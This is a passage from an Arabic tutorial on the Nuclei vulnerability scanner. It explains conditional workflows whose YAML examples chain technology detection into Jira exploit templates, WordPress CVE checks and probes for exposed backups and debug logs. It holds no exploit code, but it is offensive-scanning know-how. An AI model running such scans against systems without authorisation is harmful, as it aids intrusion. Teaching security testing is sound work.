المكونات الأساسية لتعريفات تدفق العمل الشرطي هي:

• قالب
• المطابقات matchers (اختيارية ، لتحديد شروط أكثر تفصيلاً من مجرد البحث السابق عن شيء ما)
• قالب فرعي (يُستخدم لتعريف قالب يتم تشغيله بشروط)

لا يستخدم تدفق العمل الآتي أي أدوات مطابقة ، فقط سيقوم بتشغيل القوالب الفرعية فقط إذا كان للقالب أي نتائج:

workflows:
  - template: technologies/jira-detect.yaml
    subtemplates:
      - tags: jira
      - template: exploits/jira/

يستخدم تدفق العمل أدناه المطابق وسيتحقق مما إذا كان ناتج قالب اكتشاف الخدمات يحتوي على "wordpress" قبل أن يتم تشغيله على قوالب ورد بريس:

workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: wordpress
        subtemplates:
          - template: cves/CVE-2019-6715.yaml
          - template: cves/CVE-2019-9978.yaml
          - template: files/wordpress-db-backup.yaml
          - template: files/wordpress-debug-log.yaml

يمكن أن يحتوي سير العمل الشرطي على عدة شروط مجموعة مع بعضها لغرض تنفيذ معقد لسلسلة من القوالب. مثال على قالب سير العمل الشرطي:

workflows:
  - template: technologies/tech-detect.yaml
    matchers:
      - name: foo-xyz
        subtemplates:
          - template: technologies/foo-xyz-version-3.yaml
            subtemplates:
              - template: cves/2022/CVE-2022-123456.yaml
                subtemplates:
                  - template: cves/CVE-2022-123457.yaml

لن يقوم هذا المثال بتشغيل قالب CVE-2022-123457 إلا إذا تحققت الشروط:

قام قالب tech-detect باكتشاف أن الخدمة هي foo-xyz وإصدارها هو 3.x.

لذلك ، باختصار ، توفر مهام تدفق العمل القدرة على تحديد خطوات فحص أكثر كفاءة واستهدافًا.

الخلاصة

Nuclei عبارة عن اداة فحص فعالة وقابل للتوسع ومفتوحة المصدر للثغرات الأمنية يمكنها تقديم نتائج مفيدة خارج الصندوق باستخدام عدد قليل من الخيارات. تحتوي على عدد كبير من الميزات الأنيقة ، والتي عند استخدامها ضمن القوالب المخصصة وسير العمل ، ستطلق العنان للقوة الحقيقية للأداة.

نأمل أن يمنحك هذا المقال فهمًا للعديد من الميزات التي توفرها الاداة لتعداد المعلومات وإيجاد الأخطاء في الأهداف. إذا كنت تريد حقًا أن تصبح مستخدمًا خبيرًا لـ Nuclei ، فإننا نوصي بقراءة الوثائق الرسمية ، وتحليل بعض القوالب التي طورها المجتمع ، والأهم من ذلك ، القيام بكتابة القوالب الخاصة بك.

لقراءة متعمقة

• Nuclei Templating Guide
• Nuclei Template Syntax Reference

تعديل المقال